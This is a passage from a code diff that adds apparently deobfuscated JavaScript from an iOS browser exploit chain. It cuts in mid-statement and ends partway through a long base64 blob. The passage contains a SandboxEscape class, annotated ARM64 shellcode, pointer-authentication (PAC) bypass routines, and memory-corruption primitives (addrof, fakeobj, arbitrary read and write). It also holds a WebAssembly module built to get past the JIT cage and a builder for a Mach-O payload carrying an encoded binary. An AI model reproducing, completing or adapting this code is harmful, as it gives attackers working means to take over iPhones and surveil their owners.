Uint32Array(a); + } + } else { + // fd=false: structurally distinct — builds Weyl/hash constant then iterates with XOR+rotate mix + for (a = [ + // ----- prologue ----- + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF4FF4, // stp x20, x19, [sp, #-16]! ; NOTE: reversed register pair vs other variants + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + // ----- load 64-bit constant 0xB7E15162_8AED2A6A into x20 ----- + // (Weyl sequence constant: floor((sqrt(5)-1)/2 * 2^64)) + 0xD2854D54, // movz x20, #0x2a6a ; x20 = 0x0000_0000_0000_2a6a + 0xF2B15DB4, // movk x20, #0x8aed, lsl #16 ; x20 = 0x0000_0000_8aed_2a6a + 0xF2CA2C54, // movk x20, #0x5162, lsl #32 ; x20 = 0x0000_5162_8aed_2a6a + 0xF2F6FC34, // movk x20, #0xb7e1, lsl #48 ; x20 = 0xb7e1_5162_8aed_2a6a + // ----- guard: skip loop if length == 0 ----- + 0xB40001C1, // cbz x1, #+0x38 ; if x1 == 0 -> epilogue + 0xD2800016, // movz x22, #0x0 ; index = 0 + // ----- loop body ----- + 0xB8766815, // ldr w21, [x0, w22, lsl #0] ; w21 = input[index] + 0x4A0202A2, // eor w2, w21, w2 ; w2 ^= w21 (fold in input) + 0xAA0203F5, // mov x21, x2 ; x21 = w2 (zero-extended) + 0xDAC10EF9, // blraaz x23 ; call fn via x23 (auth IA) + 0xDAC10E82, // blraaz x20 ; call fn via x20 — also advances Weyl state + 0xD357FC42, // lsr x2, x2, #23 ; x2 >>= 23 + 0xCA559C42, // eor x2, x2, x21, lsl #39 ; x2 ^= x21 << 39 (rotate-XOR diffusion) + 0xB4000043, // cbz x3, #+0x8 ; if output ptr == null -> skip store + 0xB8366862, // str w2, [x3, w22, uxtw #0] ; output[index] = w2 + 0x910012D6, // add x22, x22, #0x4 ; index += 4 + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x54FFFEAB, // b.lt #-0x2c ; loop back + // ----- epilogue ----- + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C14FF4, // ldp x20, x19, [sp], #16 ; reversed restore matches prologue + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xAA0203E0, // mov x0, x2 ; return value = final hash state + 0xD65F03C0 // ret + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new Uint32Array(a); + } + this.Ed = this.Ud(b), this.vd = this.Ud(new Uint32Array([ + // vd: minimal trampoline — move argument register then tail-call + 0xAA0603E8, // mov x8, x6 ; x8 = x6 (e.g. syscall number / selector) + 0xD61F00E0, // br x7 ; jump to x7 (tail call, no link) + 0xD65F03C0, // ret ; guard slot 2 + 0xD65F03C0, // ret ; guard slot 3 + 0xD65F03C0, // ret ; guard slot 4 + 0xD65F03C0, // ret ; guard slot 5 + 0xD65F03C0, // ret ; guard slot 6 + 0xD65F03C0 // ret ; guard slot 7 + ])); + } + Fd() { + const b = (b, a, l) => { + let i = utilityModule._(a); + const c = newInt64(6625765994 /* 4294967296 + (1297624433 ^ -944437477) */, 7379964258 /* 4294967296 + (876889462 ^ -2086333420) */), + o = newInt64(0, 0); + for (let a = 0; a < b.length; a++) { + const d = (b[a] ^ i) >>> 0, + h = pacBypass.autda(toInt64(d), o).et >>> 7, + g = pacBypass.autda(toInt64(d), c); + i = (h ^ (g.it >>> 23 | g.et << 9) >>> 0) >>> 0, exploitPrimitive.write32(l + 4 * a, i); + } + return i; + }, + a = (b, a, l) => { + let i = 0, + c = pacBypass.autda.bind(pacBypass); + !0 === platformModule.platformState.versionFlags.wYk8Jg && (c = pacBypass.autia.bind(pacBypass)); + const o = (b, a, l) => newInt64(l, (b << 24) + (16777215 /* 1278686017 ^ 1288228030 */ & a)), + d = (b, a) => { + i = ((b, a, l) => { + const i = c(toInt64(b), o(18, a, l)).et >>> 7, + d = c(toInt64(b), o(19, a, l)); + return (i ^ (d.it >>> 23 | d.et << 9) >>> 0) >>> 0; + })(b, a + 1, i); + }; + for (let a = 0; a < b.length; a++) d(b[a], a), exploitPrimitive.write32(l + 4 * a, i); + return i; + }, + l = (b) => { + let a = 0; + const l = newInt64(0x8aed2a6a, 0xb7e15162), + i = newInt64(0, 0); + for (let c = 0; c < b.length; c++) { + const o = (b[c] ^ a) >>> 0, + d = pacBypass.autda(toInt64(o), i).et >>> 7, + h = pacBypass.autda(toInt64(o), l); + a = (d ^ (h.it >>> 23 | h.et << 9) >>> 0) >>> 0; + } + return a; + }; + return !0 === platformModule.platformState.versionFlags.TyPY6G ? !0 === this.fd ? a : b : l; + } + Ud(b) { + const a = b.byteLength; + if (a % 32 != 0) throw new Error("a % 32 != 0"); + const l = platformState.caller, + i = this.Dd + 256 /* 1917149780 ^ 1917150036 */, + c = i + 512 /* 1381529668 ^ 1381530180 */, + o = exploitPrimitive.fakeobj(b); + this.kd.fill(0), utilityModule.D(b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PyEQqC + platformModule.platformState.versionFlags.ydHN48, o), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.iBTCSN, a); + let d, h = 0; + if (null !== pacBypass) { + const a = this.Fd(); + if (!0 === platformModule.platformState.versionFlags.TyPY6G) { + if (b.byteLength > this.Zd.byteLength) throw new Error("b.byteLength > this.Zd.byteLength"); + !0 === this.fd ? (!0 === this.Jd ? exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, this.Nd) : exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), !0 === this.Jd && (exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW + 4, 0))) : (exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.NUd9MZ + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h)); + } else h = a(b), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h); + } + if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(i), toInt64(c)) : l.jd(toInt64(this.Qd), toInt64(i), toInt64(c)), !0 === platformState.hasPAC) { + d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.dzBoEE).Dt(); + } else { + d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.cxrfKw).Dt(); + } + return d; + } + Ad(b, a, l) { + if (l % 4 != 0) throw new Error("l % 4 != 0"); + const i = platformState.caller; + this.kd.fill(0); + const c = this.Dd + 256 /* 1934652213 ^ 1934651957 */, + o = c + 768 /* 1768515137 ^ 1768514881 */; + if (exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, a), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, l), null !== pacBypass) { + b = pacBypass.pacia(b, toInt64(18410 /* 1332040808 ^ 1332024194 */)); + let c = 0; + !0 === platformModule.platformState.versionFlags.TyPY6G && (c = utilityModule._(o + platformModule.platformState.versionFlags.PyEQqC)); + let d = 0; + if (!0 === platformModule.platformState.versionFlags.TyPY6G) { + const b = new ArrayBuffer(l + 4); + utilityModule.D(b), d = exploitPrimitive.fakeobj(b), !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq, d) : !0 === this.fd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf, d) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.NUd9MZ, d); + } + c = i.jd(toInt64(this.Ed), a, newInt64(l, 0), newInt64(c, 0), toInt64(d)).yt(), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW, c), !0 === this.Jd && exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW + 4, 0); + } + null !== pacBypass ? exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.dzBoEE, b) : exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.cxrfKw, b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.SiBW7G, l), null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(c), toInt64(o)) : i.jd(toInt64(this.Qd), toInt64(c), toInt64(o)); + } + Bd(b) { + if (null === pacBypass) throw new Error("null === pacBypass"); + const a = platformState.caller; + b += b % 32, this.kd.fill(0); + const l = new ArrayBuffer(b); + new Uint8Array(l).fill(204 /* 1127500664 ^ 1127500724 */); + const i = exploitPrimitive.fakeobj(l); + if (b % 32 != 0) throw new Error("b % 32 != 0"); + const c = this.Dd + 256 /* 1131761484 ^ 1131761228 */, + o = c + 768 /* 1330336338 ^ 1330336082 */; + exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, toInt64(i)), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, b); + const d = new ArrayBuffer(b + 4); + utilityModule.D(d); + const h = exploitPrimitive.fakeobj(d); + return !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, h) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, h), a.jd(toInt64(this.Ed), toInt64(i), newInt64(b, 0), newInt64(0, 0), toInt64(h)), pacBypass.tc(this.Od, toInt64(c), toInt64(o)), exploitPrimitive.readInt64FromOffset(c + platformModule.platformState.versionFlags.dzBoEE).Dt(); + } + Vd() { + if (this.Gd) return 0; + { + const b = this.Td(), + a = exploitPrimitive.addrof(b), + l = exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.ZiIyeM), + i = exploitPrimitive.readRawBigInt(l + platformModule.platformState.versionFlags.iNLXaz), + c = exploitPrimitive.readRawBigInt(i + platformModule.platformState.versionFlags.Ps7Z2u), + o = exploitPrimitive.readRawBigInt(c + platformModule.platformState.versionFlags.VTwyJG); + if (0 === o) throw new Error("0 === o"); + return o; + } + } + newInt64OfSomething(b) { + const a = platformState.caller; + if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc) return this.Bd(b); + if (this.Gd) { + a.jd(toInt64(this.vd), toInt64(b), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.Rd)); + const l = exploitPrimitive.readDoubleAsPointer(this.Dd); + return toInt64(exploitPrimitive.readDoubleAsPointer(l + platformModule.platformState.versionFlags.OaAgtr)); + } { + let l, i; + !0 === this.Wd ? (l = toInt64(0), i = toInt64(b)) : (l = toInt64(b), i = toInt64(0)); + a.jd(toInt64(this.vd), toInt64(this.Hd), l, i, toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.xd)); + const c = exploitPrimitive.readDoubleAsPointer(this.Dd); + return toInt64(exploitPrimitive.readDoubleAsPointer(c + platformModule.platformState.versionFlags.VEwXfI)); + } + } + } + const ob = SandboxEscape; + + // ── Caller setup: JIT cage + PAC-aware function caller ─────────────────── + r._d = function () { + const b = new Uint8Array([0, 97, 115 /* 1095004022 ^ 1095003909 */, 109 /* 1985967730 ^ 1985967647 */, 1, 0, 0, 0, 1, 52, 3, 96, 8, 126 /* 1715618890 ^ 1715618868 */, 126 /* 945378655 ^ 945378593 */, 126 /* 1249474426 ^ 1249474308 */, 126 /* 1181824566 ^ 1181824584 */, 126 /* 2033281843 ^ 2033281869 */, 126 /* 1717982278 ^ 1717982264 */, 126 /* 1933989986 ^ 1933989916 */, 126 /* 1382770740 ^ 1382770762 */, 1, 126 /* 1414352481 ^ 1414352415 */, 96, 16, 127 /* 961760612 ^ 961760539 */, 127 /* 1231309909 ^ 1231309866 */, 127 /* 1278570084 ^ 1278570011 */, 127 /* 1768847212 ^ 1768847123 */, 127 /* 1362448754 ^ 1362448653 */, 127 /* 895576141 ^ 895576114 */, 127 /* 1651007796 ^ 1651007819 */, 127 /* 2018784865 ^ 2018784798 */, 127 /* 811550054 ^ 811549977 */, 127 /* 878987359 ^ 878987296 */, 127 /* 1179416642 ^ 1179416637 */, 127 /* 1214541361 ^ 1214541390 */, 127 /* 1748323640 ^ 1748323655 */, 127 /* 913137508 ^ 913137435 */, 127 /* 1449684561 ^ 1449684526 */, 127 /* 1162765395 ^ 1162765356 */, 1, 126 /* 1802843974 ^ 1802843960 */, 96, 16, 127 /* 929985397 ^ 929985290 */, 127 /* 1329022024 ^ 1329022007 */, 127 /* 812017463 ^ 812017480 */, 127 /* 1632925293 ^ 1632925202 */, 127 /* 1280664375 ^ 1280664392 */, 127 /* 1366189101 ^ 1366189138 */, 127 /* 1601794376 ^ 1601794359 */, 127 /* 1732735854 ^ 1732735761 */, 127 /* 1834113130 ^ 1834113045 */, 127 /* 1764574069 ^ 1764573962 */, 127 /* 1802454644 ^ 1802454539 */, 127 /* 1734296951 ^ 1734296840 */, 127 /* 1163409721 ^ 1163409734 */, 127 /* 2002138949 ^ 2002138938 */, 127 /* 2037148983 ^ 2037149000 */, 127 /* 1934714674 ^ 1934714701 */, 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, 112 /* 1800626797 ^ 1800626717 */, 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, 116 /* 1230981687 ^ 1230981699 */, 1, 0, 1, 109 /* 911626091 ^ 911625990 */, 2, 0, 1, 111 /* 1415730531 ^ 1415730444 */, 0, 0, 1, 102 /* 930040423 ^ 930040321 */, 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, 194 /* 1366057288 ^ 1366057354 */, 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, 173 /* 1480021817 ^ 1480021908 */, 66, 32, 134 /* 894260306 ^ 894260436 */, 32, 0, 173 /* 1249536360 ^ 1249536453 */, 132 /* 1800760907 ^ 1800761039 */, 32, 3, 173 /* 1865511219 ^ 1865511326 */, 66, 32, 134 /* 1416909384 ^ 1416909518 */, 32, 2, 173 /* 1747807553 ^ 1747807724 */, 132 /* 1249395042 ^ 1249395174 */, 32, 5, 173 /* 1265906739 ^ 1265906846 */, 66, 32, 134 /* 1668893776 ^ 1668893910 */, 32, 4, 173 /* 1298548567 ^ 1298548730 */, 132 /* 1666087220 ^ 1666087344 */, 32, 7, 173 /* 1396852072 ^ 1396852165 */, 66, 32, 134 /* 1651731525 ^ 1651731651 */, 32, 6, 173 /* 912871494 ^ 912871659 */, 132 /* 830027088 ^ 830027220 */, 32, 9, 173 /* 1231253601 ^ 1231253708 */, 66, 32, 134 /* 1111779704 ^ 1111779838 */, 32, 8, 173 /* 1195722029 ^ 1195722112 */, 132 /* 1667392120 ^ 1667392252 */, 32, 11, 173 /* 843329881 ^ 843330036 */, 66, 32, 134 /* 844443969 ^ 844444103 */, 32, 10, 173 /* 910644067 ^ 910644174 */, 132 /* 1496930153 ^ 1496930285 */, 32, 13, 173 /* 1214656619 ^ 1214656710 */, 66, 32, 134 /* 1700033587 ^ 1700033717 */, 32, 12, 173 /* 1496348264 ^ 1496348357 */, 132 /* 828651377 ^ 828651509 */, 32, 15, 173 /* 1870283635 ^ 1870283742 */, 66, 32, 134 /* 1450077538 ^ 1450077668 */, 32, 14, 173 /* 1987144267 ^ 1987144422 */, 132 /* 1752586038 ^ 1752586162 */, 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, 126 /* 1331185994 ^ 1331185972 */, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, 167 /* 1866806125 ^ 1866806218 */, 54, 2, 0, 65, 4, 32, 16, 66, 32, 136 /* 1734690661 ^ 1734690797 */, 167 /* 1682197608 ^ 1682197711 */, 54, 2, 0, 15, 11]).buffer, // WASM module for indirect call table — enables JIT cage bypass + a = new WebAssembly.Module(b, {}), + l = new WebAssembly.Instance(a, {}), + i = l.exports.f, + c = l.exports.o, + o = new Uint32Array(l.exports.m.buffer); + let d = null, + h = null; + null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (d = platformModule.cr().dlsym("jitCagePtr"), h = pacBypass.pacda(Int64.fromNumber(d), Int64.fromNumber(0))); // jitCagePtr: JIT cage pointer for PAC bypass + for (let b = 0; b < 100000 /* 2036681291 ^ 2036649195 */; b++) try {// JIT warmup for indirect call + i(); + } catch (b) { } + const g = utilityModule.Int64.fromNumber(9389 /* 1111844678 ^ 1111835627 */); /* discriminator for PAC signing */ + platformState.caller = { + jd(b, ...a) { + const l = platformModule.zn; + if (b instanceof Int64 == !1) throw new Error("b instanceof Int64 == !1"); + if (b.Et()) throw new Error("b.Et()"); + if (a.length > 8) throw new Error("a.length > 8"); + const d = new Array(16); + let s = 0; + for (const b in a) { + const l = a[b]; + if (a[b] instanceof Int64 == !1) throw new Error("a[b] instanceof Int64 == !1"); + d[s] = l.it, d[s + 1] = l.et, s += 2; + } + const t = function (b) { + const a = exploitPrimitive.addrof(b); + return exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.rvXShf); + }(c), + I = l.exploitPrimitive.readInt64FromOffset(t); + if (null !== l.pacBypass) { + if (!0 === platformModule.platformState.qn) { + if (platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */) throw new Error("platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */"); + b = l.pacBypass.tc(h, b, g); + } else b = l.pacBypass.pacia(b, g); + } else + if (!0 === platformState.hasPAC) throw new Error("!0 === platformState.hasPAC"); + l.exploitPrimitive.writeInt64ToOffset(t, b); + try { + i(...d); + } finally { + l.exploitPrimitive.writeInt64ToOffset(t, I); + } + const y = utilityModule.S(o[0]), + e = utilityModule.S(o[1]); + return new utilityModule.Int64(y, e); + } + }; + }, r.qd = function () { + platformState.sandboxEscape = SandboxEscapeBase.newInstance(); + }; + + window.log("Done b5135768e043d1b362977b8ba9bff678b9946bcb"); + return r; // End of middle module (JIT cage + caller setup) +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Outer module: Mach-O payload builder + sandbox escape entry +// ════════════════════════════════════════════════════════════════════════════ +let r = {}; + +const platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G + } = utilityModule, + intToUnicodeEscape = utilityModule.intToUnicodeEscape, + gA = utilityModule, + DA = 1002 /* 1749956218 ^ 1749955984 */; /* Mach-O section alignment (2^10 = 1024) */ +// ── Offset64 class (MA) — 64-bit offset arithmetic ────────────────────── +class Offset64 {/* Original: MA → Offset64 */ + static fromUnsigned(A) { + return new Offset64(A >>> 0, A / 0x100000000 >>> 0); + } + static st(A) { return this.fromUnsigned(A); } + constructor(A, g) { + this.it = A >>> 0, this.et = g >>> 0; + } + add(A) { + const g = this.et; + let D = this.it; + return D += A, new Offset64(D, g); + } + xor(A) { + const g = this.it ^ A.it, + D = this.et ^ A.et; + return new Offset64(g >>> 0, D >>> 0); + } + gA(A) { + let g = 0; + return g = A, Offset64.fromUnsigned(this.toNumber() + g); + } + sub(A) { + return this.add(-A); + } + DA(A) { + return this.gA(-A); + } + MA() { + return 0 !== this.et || this.it > 4096 /* 1667446127 ^ 1667442031 */ && this.it < 7516192768 /* 4294967296 + (2003270000 ^ -1217955472) */; + } + Et() { + return 0 === this.et && 0 === this.it; + } + toString() { + return this.et.toString(16) + "`" + this.it.toString(16); + } + ct() { + return 4294967296 * this.et + this.it; + } +} + +// ── Mach-O binary builder function (CA) ────────────────────────────────── +function CA(A, g, D, M, C, I, w, Q, B, N, E, T, U, L, s, k, F, S, Y, y, o, x, c) {/* Original: CA → buildMachOBinary */ + var i = ""; + return i += intToUnicodeEscape(335544368 /* 1949592169 ^ 1614047833 */), i += intToUnicodeEscape(335544387 /* 1702197064 ^ 1903523595 */), i += intToUnicodeEscape(A.it), i += intToUnicodeEscape(A.et), i += intToUnicodeEscape(g.it), i += intToUnicodeEscape(g.et), i += intToUnicodeEscape(D.it), i += intToUnicodeEscape(D.et), i += intToUnicodeEscape(M.it), i += intToUnicodeEscape(M.et), i += intToUnicodeEscape(C), i += intToUnicodeEscape(0), i += intToUnicodeEscape(I.it), i += intToUnicodeEscape(I.et), i += intToUnicodeEscape(w.it), i += intToUnicodeEscape(w.et), i += intToUnicodeEscape(Q.it), i += intToUnicodeEscape(Q.et), i += intToUnicodeEscape(B.it), i += intToUnicodeEscape(B.et), i += intToUnicodeEscape(N.it), i += intToUnicodeEscape(N.et), i += intToUnicodeEscape(E.it), i += intToUnicodeEscape(E.et), i += intToUnicodeEscape(T.it), i += intToUnicodeEscape(T.et), i += intToUnicodeEscape(U.it), i += intToUnicodeEscape(U.et), i += intToUnicodeEscape(L.it), i += intToUnicodeEscape(L.et), i += intToUnicodeEscape(s.it), i += intToUnicodeEscape(s.et), i += intToUnicodeEscape(F.it), i += intToUnicodeEscape(F.et), i += intToUnicodeEscape(S.it), i += intToUnicodeEscape(S.et), i += intToUnicodeEscape(k.it), i += intToUnicodeEscape(k.et), i += intToUnicodeEscape(Y.it), i += intToUnicodeEscape(Y.et), i += intToUnicodeEscape(y.it), i += intToUnicodeEscape(y.et), i += intToUnicodeEscape(o.it), i += intToUnicodeEscape(o.et), i += intToUnicodeEscape(x.it), i += intToUnicodeEscape(x.et), i += intToUnicodeEscape(c.it), i += intToUnicodeEscape(c.et), i += gA.base64DecodeUtf16("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